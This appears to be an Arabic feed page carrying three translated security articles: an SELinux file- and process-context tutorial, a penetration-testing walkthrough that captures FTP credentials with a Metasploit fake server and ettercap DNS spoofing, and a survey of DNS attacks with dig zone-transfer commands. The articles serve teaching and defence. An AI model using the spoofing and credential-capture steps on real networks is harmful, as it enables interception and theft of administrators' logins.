-rwxr-xr-x. root root unconfined_u:object_r:var_t:s0 /var/index.html

يمكننا إلغاء التغيير في الحالة عند عملية النسخ باستخدام الخيار preserver=context– مع تعلمية النسخ cp.

عندما يتم نقل أو نسخ مجلد أو ملف فإن الحالة الاصلية original context تبقى نفسها. في المثال التالي قمنا بنقل الملف /var/index.html إلى المجلد /etc/

mv  /var/index.html  /etc/

وعند فحص الحالة الجديدة في المجلد /etc/ نجد أنها لم تتغير وهي var_t

ls -Z /etc/index.html
-rwxr-xr-x. root root unconfined_u:object_r:var_t:s0 /etc/index.html

لماذا يجب أن نهتم بالحالات contexts في عمليات النسخ والنقل ؟؟؟

فكر في السيناريو التالي: إذا كنت تريد نسخ ملفات HTML الخاصة بسيرفر الويب إلى مجلد منفصل ضمن المجلد الرئيسي root folder. ولأسباب تتعلق بالحماية، لا تريد لأي مهاجم أن يستطيع بسهولة تخمين مكان ملفات الموقع. قمت بتحديث التحكم بالوصول للمجلد وقمت بتعديل ملف الإعدادات الخاص بالويب للإشارة إلى المكان الجديد وقمت بإعادة تشغيل سيرفر الأباتشي ولكن عملية الوصول لصفحات الويب لم تنجح. إذا نظرت إلى الحالات contexts الخاصة بالمجلد والملفات الموجودة في داخله سوف تعرف سبب هذه المشكلة.

 

تجريب File Context Error


في البداية لنقم بخلق مجلد له الاسم www ضمن المجلد الرئيسي root ومن ثم لنقم بخلق مجلد باسم html ضمن المجلد www

mkdir -p /www/html

 

لنقم بكتابة التعليمة التالية:

 

ls -Z /www/
drwxr-xr-x. root root unconfined_u:object_r:default_t:s0 html

كما ترى فإن context: default_t . لنقم بنسخ محتوى المجلد /var/www/html إلى المجلد /www/html

cp /var/www/html/index.html /www/html/

 

الملفات التي تم نسخها سيكون لها نفس الحالة default_t. لنقم الآن بتعديل ملف الإعدادات httpd.conf للإشارة إلى المجلد الجديد الموجود ضمن المسار /www/html

vi /etc/httpd/conf/httpd.conf

 

تعديل هذا الملف يتم من خلال فتح الملف باستخدام محرر النصوص (vi في هذا المثال) ومن ثم إضافة الإشارة #  إلى المسار القديم ليصبح عبارة عن تعليق وإضافة المسار الجديد

# DocumentRoot “/var/www/html”

DocumentRoot “/www/html”

سنقوم أيضاً بتعديل حقوق الوصول لتصيح كالتالي:

#<Directory “/var/www”>
# AllowOverride None
# Allow open access:
# Require all granted
#</Directory>

<Directory “/www”>
AllowOverride None
# Allow open access:
Require all granted
</Directory>

ومن ثم حفظ هذا التغيير وإعادة تشغيل الأباتشي

service httpd restart

 

بعد الانتهاء من عملية التعديل السابقة وعند محاولة الوصول لصفحة الويب index.html سوف نحصل على رسالة الخطأ 403 forbidden

السبب هو أن الملف index.html قد تغيرت الحالة context الخاصة به أثناء عملية النسخ ويجب إعادتها لحالتها الأصلية httpdsyscontent_t.

ولكن كيف يتم ذلك ؟؟؟

 

تغير واستعادة SELinux File Contexts


في المثال السابق استخدمنا التعليمات chcon and resstorecon. تشغيل التعليمة chcon هو إجراء مؤقت ويمكننا استخدامه في حالات تصليح الأخطاء الخاصة بمنع الوصول ويمكننا استخدام التعليمة restorecon للعودة للحالة السابقة. تشغيل التعليمة chcon يتطلب معرفة الحالة الصحيحة للملف من خلال إضافة  type– لتحديد الحالة للهدف. التعليمة restorecon لا تتطلب تحديد ذلك وبمجرد تنفيذ هذه التعليمة سيتم إعادة تطبيق الحالة الصحيحة للملف وهذا التغير سيكون بشكل دائم. كيف سيعرف النظام أي حالة يجب أن يطبقها عند تنفيذ التعليمة restorcon.

SELinux تتذكر الحالة لكل ملف أو مجلد في السيرفر.

في نظام CentOS 7 فإن الحالات contexts موجودة في الملف التالي:

/etc/selinux/targeted/contexts/files/file_contexts

الحالات contexts للمجلدات والملفات الجديدة تسجل في الملف التالي:

/etc/selinux/targeted/contexts/files/file_contexts.local

عندما نقوم بتنفيذ التعليمة restorecon فإن SELinux يبحث عن الحالة الصحيحة في الملفين السابقين ويقوم بتطبيقها.

محتوى الملف السابق يمكن عرضه باستخدام التعليمة التالية:

 

cat /etc/selinux/targeted/contexts/files/file_contexts

/usr/(.*/)?lib(/.*)? system_u:object_r:lib_t:s0
/opt/(.*/)?man(/.*)? system_u:object_r:man_t:s0
/dev/(misc/)?agpgart -c system_u:object_r:agp_device_t:s0
/usr/(.*/)?sbin(/.*)? system_u:object_r:bin_t:s0
/opt/(.*/)?sbin(/.*)? system_u:object_r:bin_t:s0
/etc/(open)?afs(/.*)? system_u:object_r:afs_config_t:s0

لتغير حالة الملف index.html ضمن المسار www/html/ : نستخدم التعليمة semanage fcontext  والتي تقوم بكتابة الحالة الجديدة في الملف /etc/selinux/targeted/contexts/files/file_contexts.local .

 

semanage fcontext –add –type httpd_sys_content_t “/www(/.*)?”
semanage fcontext –add –type httpd_sys_content_t “/www/html(/.*)?”

للتأكد من ذلك يمكننا فحص محتوى ملف الإعدادات

cat /etc/selinux/targeted/contexts/files/file_contexts.local

 

يجب أن نرى التعديل كالتالي:

# This file is auto-generated by libsemanage
# Do not edit directly.

/www(/.*)? system_u:object_r:httpd_sys_content_t:s0
/www/html(/.*)? system_u:object_r:httpd_sys_content_t:s0

 

ثم يمكننا تنفيذ التعليمة restorecon

restorecon -Rv /www

 

هذه التعليمة تقوم بإعادة ضبط الحالة على ثلاث مستويات:

  • المستوى الأعلى /www
  • ثم على المستوى /www/html
  • ثم على مستوى الملفات الموجودة في هذا المجلد مثل الملف /www/html/index.html

restorecon reset /www context unconfined_u:object_r:default_t:s0->unconfined_u:object_r:httpd_sys_content_t:s0
restorecon reset /www/html context unconfined_u:object_r:default_t:s0->unconfined_u:object_r:httpd_sys_content_t:s0
restorecon reset /www/html/index.html context unconfined_u:object_r:default_t:s0->unconfined_u:object_r:httpd_sys_content_t:s0

الآن وإذا حاولنا الوصول لصفحة الويب السابقة فسوف تنجح العملية ولن نحصل على رسالة الخطأ.

الأداة  matchpathcon يمكن أن تساعد في مشاكل تصليح الأخطاء، هذه الأداة تقوم بالنظر إلى الحالة الحالية للمصادر وتقارنها مع محتوى قاعدة البيانات SELinux context database وإذا وجدت اختلاف تقترح اجراء التعديل.

matchpathcon -V /www/html/index.html

-V: للتحقق من الحالة.

النتيجة ستكون كالتالي:

/www/html/index.html verified.

في حال وجود ملف له وسم خاطئ سوف تكون النتيجة كالتالي:

/www/html/index.html has context unconfined_u:object_r:default_t:s0, should be system_u:object_r:httpd_sys_content_t:s0

 

انتقال المجال Domain Transition


تعرفنا على كيفية وصول العمليات لمصادر النظام، سنتعرف الآن على كيفية وصول العمليات لعمليات أخرى.

Domain transition: في هذه  الطريقة تقوم العملية بتغيير الحالة context الخاصة بها من مجال  domain لمجال أخر. ليكن لدينا العملية “proca” والتي تعمل ضمن الحالة context: contextat. باستخدام domain transition فإن العملية proca يمكنها تشغيل التطبيق (البرنامج أو السكريبت التنفيذي) ذو الاسم appx والذي من الممكن أن يولد عملية أخرى. العملية الجديدة لها الاسم procb والتي تعمل ضمن المجال الذي له context: contrxtbt

تم الانتقال من contextat to contextbt خلال البرنامج appx والذي يعمل كنقطة دخل ل contextb_t

3

لنقم بتشغيل العملية vsftp باستخدام التعليمة التالية: service vsftpd start

لنفترض أن العملية system هي الأب لكل العمليات وهذا سوف يبدل العملية System V init لتعمل في context: init_t

 

ps -eZ | grep init
system_u:system_r:init_t:s0 1 ? 00:00:02 systemd
system_u:system_r:mdadm_t:s0 773 ? 00:00:00 iprinit

العملية تعمل ضمن المجال domain: init_t والتي سوف تستدعي الملف التنفيذي /usr/sbin/vsftpd والذي له type context: ftpdexect وعندما يبدأ هذا البرنامج بالعمل فإن vsftpd ستعمل ضمن المجال domain: ftpd_t

يمكننا فحص domain contexts للملفات باستخدام التعليمة التالية:

ls -Z /usr/sbin/vsftpd

 

وستكون النتيجة كالتالي:

-rwxr-xr-x. root root system_u:object_r:ftpd_exec_t:s0 /usr/sbin/vsftpd

 

فحص العملية:

ps -eZ | grep vsftpd

 

النتيجة:

system_u:system_r:ftpd_t:s0-s0:c0.c1023 7708 ? 00:00:00 vsftpd

 

العملية تعمل ضمن init_t domain وهو الملف التنفيذي وله النوع type: ftpdexect هذا الملف بدأ العمل ضمن ftpd_t domain. لا يمكن للمستخدم أو التطبيق التحكم بعملية الانتقال وهي عبارة عن شرط مسبق موجود في سياسة SELinux التي يتم تحميلها إلى الذاكرة عن إقلاع النظام. في السيرفر الذي يعمل بدون SELinux فإن المستخدم يستطيع بدأ العملية من خلال الانتقال لحساب أقوى (له صلاحيات أعلى). في SELinux هذا التحكم بالوصول يكون مكتوب بشكل مسبق ضمن السياسة وهذا هو سبب قول أن SELinux تطبيق سياسة تحكم بالوصول الإلزامية Mandatory Access Control.

Domain transition يخضع لثلاث قواعد صارمة:

  • العملية الأب التي تعمل ضمن source domain يجب أن تملك صلاحيات تنفيذية للتطبيق الموجود بين المجالين.
  • ملف الحالة file context للتطبيق يجب أن يتم تعريفه ك entrypoint للمجال الهدف.
  • المجال الأصلي يجب أن يملك صلاحيات للقيام بعملية التحويل للمجال الهدف.

لنقم بتنفيذ التعليمة sesearch على المثال السابق vsftpd لرؤية القواعد الثلاثة السابقة.

في البداية فإن source domain initt يجب أن يملك صلاحيات تنفيذية على التطبيق الدخل ضمن ftpdexec_t context

sesearch -s init_t -t ftpd_exec_t -c file -p execute -Ad

 

النتيجة تظهر العمليات ضمن init domain والتي تستطيع القراءة والحصول على الوصف get attribute وفتح الملفات ضمن ftpdexec_t context :

Found 1 semantic av rules:

   allow init_t ftpd_exec_t : file { read getattr execute open } ;

لنقم بفحص الملف التنفيذ إذا كان نقطة دخل للمجال الهدف ftpd_t :

sesearch -s ftpd_t -t ftpd_exec_t -c file -p entrypoint -Ad

والنتيجة:

Found 1 semantic av rules:

   allow ftpd_t ftpd_exec_t : file { ioctl read getattr lock execute execute_no_trans entrypoint open } ;

 

وفي النهائية فإن source domain initt يجب أن يملك صلاحيات ليتم تحويله إلى المجال الهدف ftpdt

sesearch -s init_t -t ftpd_t -c process -p transition -Ad

وهو يملك هذه الصلاحية

Found 1 semantic av rules:

   allow init_t ftpd_t : process transition ;

 

المجالات الغير محددة Unconfined Domains:

تعرفنا على المجالات domains والتي هي عبارة عن حدود حول العملية والتي تحدد للعملية المسموح والممنوع القيام به وهذا يسمى تقييد العملية confines the process.

SELinux يحوي أيضاً على عمليات تعمل ضمن مجالات غير محدودة unconfined domains. يمكنك تخيل العمليات الغير محدودة على أنها العمليات التي يمكنها الوصول لكل أنواع المصادر في النظام وهذا الوصول الغير محدود ليس عشوائي وهو محدد ضمن سياسة SELinux

الخلاصة


قمنا بتغطية المفاهيم الأساسية ل SELinux وتعرفنا على طريقة إدارة file and process context والتي تعتبر أساس نجاح تطبيق SELinux

في المقال القادم سنعرف على طريقة تعامل SELinux مع المستخدمين.

 

ترجمة لمقال: an introduction to SELinux on CentOS 7 – Part 2: Files and Processes لصاحبها Sadequl Hussain

مقال : إستخدام Metasploit و ettercap في إلتقاط البيانات من الشبكة

$
0
0

في العديد من الأحيان التي نقوم بها بعملية إختبار إختراق نحتاج إلى إلتقاط جميع المعلومات التي يتم تمريرها من خلال الشبكة ، ولنفترض أننا كُنا نقوم بعملية إختبار إختراق لشركة مُعينة ، حيث أننا مررنا بالقسم المسؤول عن خوادم  الشركة بشكل عام ، وأحببنا أن نقوم بمحاولة لإلتقاط بيانات FTP الخاصة بأحد الخوادم ، تقنياً نستطيع القيام بهذا من خلال هجمات MITM ويوجد العديد من السيناريوهات التي تُمكننا من القيام بهذه العملية وسبق وتكلمنا عنها في المُجتمع ، وسوف نتعرف اليوم على واحد من هذه السيناريوهات بإذن الله.

السيناريو :

سوف نقوم بعمل مُحاكاة لخادم FTP وهمي مُسبق الإعداد من خلال Metasploit سوف يتم إستخدامه في قرأة معلومات الدخول الخاصة بالسيرفر الحقيقي والذي سوف يقوم مُدير النظام بإدخالها للتوصل بالخادم ، بعد ذلك سوف نقوم بعمل هجمة DNS Spoof على الشبكة وتحويل الهدف الرئيسي إلى الهدف الوهمي الذي قمنا بإعداده لإستقبال الإتصال القادم من جهاز المُدير حيث سوف نقوم بقرأة بيانات الدخول التي تم إدخالها من قبله بكل وضوح ، تفيدنا هذه الهجمة في حال كان هنالك أكثر من مسؤول عن الخادم بنفس الوقت ، فبدلاً من تتبع الطلبات وإلتقاطها من خلال wireshark أو tcpdump مثلاً سوف نقوم بكل سهولة من خلال هذه الهجمة بشكل بسيط ومن دون أي تعقيد ، كذلك يُمكننا القيام بمجموعة من الهجمات الأخرى في نفس الوقت فور عمل DNS spoof للشبكة وعلى الهدف نفسه.

سوف نبدأ العمل الأن بإستخدام Metasploit auxiliary لإلتقاط معلومات الدخول الخاصة ب FTP ، تستطيعون إستخدام هذا الـ auxiliary من خلال الأمر :

use auxiliary/server/capture/ftp

وكذلك كما هو موضح بالصورة التالية :

msf-ftp-1

ونستطيع إستعراض الخيارات المُتاحة من خلال الأمر “options” كما هو موجود بالصورة :

msf-ftp-options

الأن سوف نقوم بإعداد الـ auxiliary حسب الإعدادات التالية :

  1. SRVHOST : عنوان IP الذي سوف يتم إستخدامه لإستقبال الإتصال.
  2. SRVPORT : رقم المنفذ “PORT” الذي سوف يتم إستقبال الإتصال عليه “21 بشكل إفتراضي”.
  3. SSL : في حال كنت تريد أن يتم إستقبال الإتصال على شكل مُشفر.
  4. SSLCert : مسار الشهادة الخاصة ب SSL ويتم إستخدامها في حال إستقبال إتصال مُشفر.

لنضع الإعدادات الخاصة بنا ونقوم بتفعيل الخادم الوهمي من خلال الإعدادات كما هو موجود بالصورة :

msf-ftp-listen-server

كما نشاهد لقد قدمنا بتحديد عنوان IP وكذلك المنفذ المُستخدم للتنصت عليهم وإعداد السيرفر لإستقبال الإتصال عليهم ، الأن سوف نقوم بعمل هجوم DNS spoof على العنوان المُستهدف والذي سوف يكون بحالتنا هو “fake-ftp.com” كمثال والذي سوف يشكل السيرفر المراد الحصول على معلومات الدخول الخاصه به.

تذكر جيداً انه يجب عليك القيام بتحويل الهدف fake-ftp.com إلى العنوان الذي وضعته أثناء إعداد الخادم وبحالتنا هو 192.168.1.5

الفكرة بإختصار شديد فور تحويل الإتصال بأنه فور ما يقول مُدير الشبكة بمحاولة التوصل من خلال بروتوكول FTP بالهدف المُراد تحويله وهو fake-ftp.com  والذي سوف نقوم بتحويله إلى العنوان 192.168.1.5 وطبعاً هو العنوان المُزيف الخاص بنا ، حيث سوف يقوم الخادم الذي قمنا بإعدادة بقرأة الأمرين التاليين :

  • USER : وهو الأمر الذي يتم إستخدامه من قبل بروتوكول FTP لتعريف إسم المُستخدم المُراد الدخول من خلاله.
  • PASS : وهو الأمر الذي يتم إستخدامه من قبل بروتوكول FTP لتعريف كلمة المرور للمستخدم السابق.

وفي جميع الحالات سوف يتم قرأة إسم المستخدم وكلمة المرور من قبل الخادم الوهمي الذي تم إعداده من خلال Metasploit مما يساعدنا على قرأة المعلومات بشكل بسيط جداً.

إذاً الأن سوف نقوم بتفعيل هجوم DNS spoof على الشبكة وتحويل الإتصال من العنوان الحقيقي إلى العنوان المُزيف وبعدها بالطبع سوف نقوم بمُشاهدة عملية إلتقاط إسم المُستخدم و كلمة المرور الخاصة بالهدف بكل وضوح ودون الحاجه إلى تتبع الطلبات التي تم إرسالها ما بين مُدير النظام والهدف ، وسوف أذكر أيضاً ملاحظة مهمة في أخر المقال سوف تساعدكم على تنفيذ هذا الهجوم مع مجموعة مُختلفة من الخدمات ، حيث نستطيع عمل خوادم وهمية لهذه الخدمات وإستخدامها في العديد من الهجمات.

قبل أي شيء يجب علينا تفعيل IP forwarding من خلال الأمر التالية :

أنصحكم بمراجعة قسم إختبار إختراق الشبكات والقرأة أكثر عن هجمات DNS spoofing

msf-ip-forward-done

حيث يقوم الأمر بكتاية 1 داخل الملف السابق ، حيث أن 1 تعني True ويسمح بتفعيل ip forwarding ، بعد ذلك سوف نقوم بالتعديل على ملف etter.dns كما بالصورة التالية :

msf-etter-dns-edited

كما نرى فإن هذه التعديلات سوف تقوم بتحويل الهدف fake-ftp.com إلى 192.168.1.5 وهو كما سبق وذكرنا عنوان خادم FTP الوهمي الخاص بنا.

الأن سوف نقوم بتفعيل الهجوم من خلال ettercap بإستخدام الأمر التالي :

msf-ftp-dns-spoof-done

بعد تفعيل الهجوم بشكل سليم ، سوف نحاول الأن التوصل من جهاز الهدف بإستخدام أي ftp client وإدخال كلمة المرور وإسم المستخدم وسوف نرى النتيجة النهائية بعد إدخال المعلومات ، حيث من المفترض أن نحصل على إسم المستخدم وكلمة المرور.

ftp-msf-client-connect

نرى هنا أن المُستخدم قد قام بإدخال إسم المُستخدم iSecur1ty و كلمة المرور iSecur1ty ، من المفترض الأن أن الخادم الخاص بنا قد قام بمُلاحظة ذلك وتسجيله لنا ، دعونا نطلع على النتائج الخاصة ب Metasploit لنراها كما في الصورة التالية :

ftp-msf-success

رائع ! لقد قام الخادم الخاص بنا بإظهار كلمة المرور بشكل صحيح وعلى هذا النحو لقد قمنا بإتمام الهجوم بالشكل المطلوب وحصلنا على كلمة المرور الخاصة بالهدف من خلال إستخدام Metasploit و ettercap ، كما سوف نلاحظ أيضاً أن ettercap قام بعمل إلتقاط إسم المُستخدم و لكلمة المرور  أيضاً 😀

msf-ftp-ettercap-success

وبهذا نكون قد حصلنا على إسم المستخدم وكلمة المرور بنجاح.

أود أن ذكر ملاحظة مُهمة جداً بأننا نستطيع إستعمال الهجوم كما ذكرت على مجموعة من الخدمات مثل  smb , telnet , smtp ويُمكنكم الإطلاع على جميع ال metasploit authentication capture وإستعراضها جميعاً داخل المشروع بكل سهولة.

أتمنى أن يكون المقال قد نال إعجابكم وبإذن الله نلقاكم في مقالات قادمة.

مقال : التهديدات الأمنيه على سيرفرات DNS

$
0
0

Domain Name System أو إختصارا  DNS مكون مهم لوظائف مختلف خدمات الإنترنت. يقوم بتوفير حلول لمختلف الخدمات مثل تحويل أسماء المواقع الى أرقام IPs وبالعكس. تم تصميم DNS في أوائل الثمانينات بدون اي مراعاة أمنية. يرجع سبب هذه الشئ لأن الشبكات في ذاك الوقت كانت جدا صغيرة. جميع hosts بالشبكة كانو معروفين مسبقا و موثوقين. فلا حاجة للتحقق والموثوقية .

لكن مع تقدم الوقت و نمو الشبكة والإنترنت فإن DNS لم يتغير. أدى ذلك الى تهديدات كثيرة إستهدفت DNS نتيجة قلة الموثوقية والسلامة التي تتحقق من البيانات ضمن DNS. في عام 1994, قامت (Internet Engineering Task Force (IETF

بالعمل لإضافة ملحقات أمنية تعرف بـ (Domain Name System Security Exensions (DNSSEC لبروتوكول DNS الموجود. لسوئ الحظ فإن هذه الإمتدادات تظل بعيدة عن إعتمادها.

تهديدات DNS


  1. Zone File Compromise
  2. Zone Information Leakage/DNS Footprinting
  3. DNS Amplification Attack
  4. DNS Client flooding
  5. DNS Cache poisoning
  6. DNS Vulnerabilities in Shared Host Environments
  7. DNS Man in the Middle Attacks – DNS Hijacking
  8. Typosquatting

 

Zone File Compromise

سيرفر DNS مستضاف على عدد من الأجهزة. يقوم المدير بضبط إعدادات DNS سيرفر الذي يشمل أيضا سجلات DNS بإستخدام واجهة سطر الأوامر او واجهة GUI المزودة من قبل سيرفر DNS.

في هجمات Zone File Compromise, يقوم المهاجم بالهجوم على سيرفر DNS من خلال وصوله المباشر الى السيرفرات. يمكن أن يكون متصل وهو موجود بشكل مباشر بالمكان او عبر إتصاله من خلال إتصال SSH/RDP.

وللحد من هذه الهجمات فيجب تقييد الوصول الى سيرفر DNS بالحالتين الفيزيائية او عن بعد.

Zone Information Leakage/DNS Footprinting

هجمات DNS Zone Transfer تشمل بقيام DNS Server بتمرير جزء من نسخة قاعدة بياناته تسمى (zone) الى DNS Server أخر. تستخدم Zone Transfer عندما نحتاج لأكثر من DNS Server يجيب على إستفسارات “queries” لـ zone معينة. يوجد مايدعى بـ Master DNS Server و Slave DNS Master أو سيرفر رئيسي وسيرفرات تعمل تحت إمرته. Slave DNS Server يقوم بطلب نقل zone من Master DNS Server.

المهاجم يدعي بأنه Slave DNS Server فيقوم بطلب نسخة من السجلات (records) من Master DNS Server. هذه السجلات تكشف بنية (topology) الشبكة الداخلية.

خطوات القيام بـZone Transfer على UNIX machine:

تظهر أسماء السيرفرات الموثوقة لذلك domain

dig NS ‘domain’ +short

إسترجاع جميع سجلات DNS من سيرفر معين

dig AXFR ‘domain’ @’nameserver’

ولتفادي هذا الهجوم بمن الأفضل تقييد نقل zone الى عناوين IP معينة او إستخدام اي نوع من authentication.

 

DNS Amplification Attack

هذا الهجوم يستخدم للقيام بهجمات DOS على جهاز الضحية بإستخدام DNS servers حقيقية. تكون الطريقة بإرسال DNS packets الى DNS server ووضع رقم IP الضحية كرقم IP المصدر (source ip). هنا يقوم DNS server بالرد بإجابات (dns responces) جدا كبيرة وتذهب لجهاز الضحية.

 

DNS Client Flooding

يهدف هذا الهجوم لإرسال فيضان من طلبات UDP الى DNS server لإتعابه. التقنية الشائعة هي إرسال DNS request packets من أجل domain غير صحيح. DNS server يقوم بإستهلاك موارده للبحث عن هذا domain. بعد حد معين لن يملك اي موارد لخدمة الطلبات الحقيقية.

 

DNS Cache Poisoning

يقوم Client بالطلب من DNS server الخاص به عن domain معين. يقوم DNS sever بطلب هذا domain من DNS server أخرى وبعد الحصول على النتيجة, يخزنها (caches it) بانتظار قيمة TTL. طلب client للـ domain يأتي من cache بدلا من قيامه بطلب domain من DNS servers أخرى مرة ثانية.

يقوم المخترق بوضع معلومات خاطئة في cache التابعة لـ DNS server المحلي. المهاجم يقوم بالرد على DNS server بالعنوان الخاطئ قبل مايصل الرد الحقيقي.

dns_cache_poisoning

مصدر الصورة : هنا

 

DNS Vulnerabilities in Shared Host Environments

بيئة مشاركة الاجهزة هي عبارة عن DNS server مشارك بين العديد من المستخدمين والمجالات. خدمات مجانية مثل cpanel توفر هذه الإمكانيات.

لنفترض بأن المهاجم إستخدم DNS server مشترك قام بإنشاء zone file في مجال xyz.com وإضافة سجلات ذات صلة ( A , MX). الأن اي مستخدم لديه هذا DNS server كسيرفر رئيسي سيحاول الدخول الى xyz.com سيتم توجيه الى السجلات الخاطئة وليس الصفحة المطلوبة.

dns_shared_host_vulnerability

مصدر الصور : هنا

 

DNS Man in the Middle Attacks – DNS Hijacking

يقوم المخترق بإعتراض رسائل تحليل الأسماء “name resolution queries”  المرسلة من قبل client الى DNS server. يمكنه بعد ذلك بإرسال ردود خاطئة الى client. يجب على المخترق بإرسال رده الى client قبل إجابة DNS server له. يقوم client بأخذ اول رد يصله ولايمكنه التمييز بين المهاجم و DNS server.

dns_mitm

مصدر الصورة : هنا

 

Typosquatting

أيضا يدعى URL hijacking, sting site, fake URL هو نوع من أنواع السطو الإلكتروني أو سرقة العلامة التجارية وتعتمد بالأساس على الأخطاء  على سبيل المثال الأخطاء المطبعية من مستخدمي الأنترنت عندما يقومو بكتابة عنوان صفحة الإنترنت في المتصفح. فيجب على المستخدم إدخال إسم صفحة إنترنت خاطئة ثم هذا سيقوده الى URL مختلفة وهي من صنع cyberquatter. فالمهاجم يدخل أسماء شبيهة بأسماء المواقع. هذه التهديد لا يستهدف ضحايا معينين.

 

(DNSSEC (Domain Name System Security Extensions


لقد تكلمنا في بداية المقال عن الإضافات المسماة DNSSEC ولقد تم إصدارها رسميا عام 2005. للأسف منذ ذلك الوقت فإن هذه الملحقات غير معتمدة. رغم توافقيتها, ممكن بسبب مشغلي الشبكة يفضلو الأستقرار على التعقيد.

التوافق نفذ بإستخدام بناء (RR (Resource Record للـ DNS الذي صمم ليكون قابل للتجديد. مجموعة جديدة من RRs قدمت لتمسك بالمعلومات الأمنية.  عند تصميم DNSSEC تم تسجيل جميع المشاكل عن الأداء.

يقوم DNSSEC بتزويد المصادقة و السلامة للـ DNS. هذا يساعد للحد من الهجمات. هجمات Cache poisoning , Client flooding تمنع بإضافة مصادقة عند المصدر. حتى هجمات Zone File Compromise قد خفت. لكن DNSSEC لاتقدم اي حماية بالنسبة لتسريب المعلومات.

ترجمة لمقال : DNS Security لصاحبها Dhaval Kapil.

Viewing all 466 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>